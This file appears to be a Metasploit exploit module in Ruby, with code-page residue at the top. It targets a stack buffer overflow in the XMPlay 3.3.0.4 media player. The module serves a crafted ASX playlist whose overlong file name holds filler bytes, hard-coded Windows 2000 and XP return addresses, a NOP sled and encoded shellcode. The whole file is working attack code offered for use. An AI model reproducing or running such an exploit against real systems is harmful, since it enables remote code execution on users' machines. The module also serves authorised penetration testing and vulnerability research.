74 lines
2.0 KiB
Ruby
74 lines
2.0 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::Xmplay_Asx < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::Html
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in XMPlay 3.3.0.4.
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The vulnerability is caused due to a boundary error within
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the parsing of playlists containing an overly long file name.
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This module uses the ASX file format.
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},
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'License' => MSF_LICENSE,
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'Author' => 'MC',
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'Version' => '$Revision: 3653 $',
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'References' =>
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[
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[ 'URL', 'http://secunia.com/advisories/22999/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro English SP4', { 'Ret' => 0x77e14c29 } ],
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[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 21 2006',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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drv = Rex::Text.rand_text_alpha_upper(1)
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ext = Rex::Text.rand_text_alpha_upper(3)
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sploit = Rex::Text.rand_text_alpha_upper(498) + [ target.ret ].pack('V')
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sploit << make_nops(40) + payload.encoded
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# Build the stream format
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content = "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"
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content << "<REF HREF=\"file://#{drv}:\\" + sploit
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content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, content)
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end
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end
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end
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